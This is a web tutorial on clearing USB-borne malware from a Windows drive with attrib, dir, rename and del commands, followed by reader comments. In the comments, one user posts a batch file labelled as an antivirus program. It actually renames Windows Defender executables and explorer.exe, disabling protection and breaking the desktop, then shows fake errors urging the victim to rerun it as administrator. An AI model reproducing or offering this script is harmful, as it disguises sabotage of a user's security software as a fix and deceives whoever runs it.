Removing a Virus Without Using Any Anti-virus Software

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Introduction: Removing a Virus Without Using Any Anti-virus Software

Virus is a computer program that can copy itself and infect computers.
The term "virus" is erroneously used to refer to other types of malware, including adware and spyware programs that do not have the reproductive ability.
A true virus can spread from one computer to another (in some form of executable code).
One of the ways by which a virus can infect your PC is through USB/Flash drives.
Common viruses such as 'Ravmon' , 'New Folder.exe', 'Orkut is banned' are spreading through USB drive .
Most anti virus programs are unable to detect them and even if they do, in most cases they are unable
to delete the file, only quarantine it.So in our post we use command prompt to remove harmful files that
any anti-virus can't. 


These are the steps.

Step 1:

 Run the command prompt by going to start and type cmd on the search programs and files.

Step 2:

 Select the virus affected drive
(drivename: )
examples
C:
J:
F:
D:
E:

Step 3:

 type attrib -s -h *.* /s /d then press enter

Step 4:

 type dir 
        the dir command shows you the content of the drive

Step 5:

check if there is an unusual .exe file
                 if there's an autorun.inf file rename it

                    (rename filename.extension newfilename )

Step 6:

by doing the following steps you can now acces the drive without affecting the virus

 Go to my computer

Step 7:

Select the drive

Step 8:

Delete the harmful files
             *you can also delete the harmful files using command prompt
    ( type del filename)

Step 9: Video

This will guide you on how to perform the operations.

 THANK YOU AND ENJOY! :)





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    70 Comments

    0
    brianbukenya31
    brianbukenya31

    Question 15 days ago on Step 3

    why when performing this operation it says access denied

    0
    abhaytk
    abhaytk

    4 months ago

    Is it safe to use ?

    0
    Bhavik16
    Bhavik16

    Question 9 months ago on Step 5

    It is showing Access Denied, what shall i do in that case?
    tried to rename $RECYCLE.BIN file, since i can't see any such file in my F drive

    3
    michaelivy
    michaelivy

    Tip 1 year ago on Step 8

    How do you identify and confirm that this is the drive that contains a virus

    5
    Krisk55
    Krisk55

    Question 2 years ago on Step 3

    id tried the steps 1,2,3 and then after doing the commands in step 3.. "access denied..."
    what should i do?

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    1
    joel5555george
    joel5555george

    Question 2 years ago on Step 2

    mine is windows 7.i donts infected know which drive i

    0
    PrasadD32
    PrasadD32

    3 years ago

    I install windows 7 on my new hdd but
    After installing windows when I start it was shut down in an 1 to 2 minutes
    Every time please help

    0
    RaffyB7
    RaffyB7

    Reply 2 years ago

    open run. then type shutdown -a

    0
    Ftr
    Ftr

    Question 3 years ago on Step 4

    No..it again shows I:\>

    0
    chrisherald11
    chrisherald11

    Answer 3 years ago

    its work well and next u put dir into it

    2
    chrisherald11
    chrisherald11

    Question 3 years ago on Step 3

    if i apply the system inform that ur requset was denied and rycycle bin etc

    1
    RianR13
    RianR13

    Question 3 years ago on Step 3

    i hit attrib -s -h *.* /s /d but all files with access denied

    0
    tanayw
    tanayw

    4 years ago

    In my pc when i open google chrome then go to any page like fb or youtube i see adds of sexual thing and i cant even close them there is no option for it so can you tell me what should i do for it.... Plz reply as soon as possible

    0
    OsamaA102
    OsamaA102

    Reply 3 years ago

    Search for

    Chrome Cleanup Tool

    and use it

    0
    caigepayne
    caigepayne

    4 years ago

    CAN SOMONE PLEASE TELL ME IF THIS WILL WORK

    Gmail me Please and tell me if I did it wrong at caigepayne@gmail.com

    @echo off
    color a
    Echo =====================================================================
    Echo BE SURE TO RUN THE PROGRAM AS ADMINISTRATOR OTHERWISE THIS WONT WORK
    Echo =====================================================================
    timeout 10
    cls
    Echo =====================================================================
    Echo BE SURE TO RUN THE PROGRAM AS ADMINISTRATOR OTHERWISE THIS WONT WORK
    Echo =====================================================================
    timeout 10
    cls
    Echo ==========================================================
    Echo Thank you for downloading our Anti virus.bat program
    Echo ==========================================================
    timeout 5
    cls
    Echo ==========================================================
    Echo The way this works is that it finds all the coding and
    Echo script in every program on your pc
    Echo ==========================================================
    timeout 5
    cls
    Echo ==========================================================
    Echo This will your pc within 5 min
    Echo ==========================================================
    timeout 5
    cls
    Echo =============================================================
    Echo Please press enter to allow the program to apply the changes
    Echo to your Pc
    Echo =============================================================
    pause
    cls
    Echo =================================================================
    Echo Working on pc please dont press enything or it could be canceled
    Echo =================================================================
    cd C:\Program Files\Windows Defender
    rename "MSASCui.exe" "ERROR.ERROR"
    rename "MSASCuiL.exe" "error.error"
    rename "NisSrv.exe" "ERROR.ERROR"
    rename "ConfigSecurityPolicy.exe" "error.error"
    rename "Defendericon.png" "ERROR.ERROR"
    cd c:/
    cd Windows
    rename "winstart.bat" "ERROR.ERRROR"
    rename "explorer_backup_w7sbc.exe" "ERROR.ERROR"
    rename "explorer.exe" "Error.Error"
    cd C:\Windows\System
    rename "cm106eye.exe" "error.error"
    rename
    timeout 300
    cls
    color c
    Echo =============================================================
    Echo =============================================================
    Echo ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...
    Echo ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...
    Echo ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...
    Echo ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...
    Echo ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...ERROR...
    Echo Try Run it as Administrator and restart program
    Echo Try Run it as Administrator and restart program
    Echo Try Run it as Administrator and restart program
    Echo Try Run it as Administrator and restart program
    Echo =============================================================
    Echo =============================================================
    timeout 15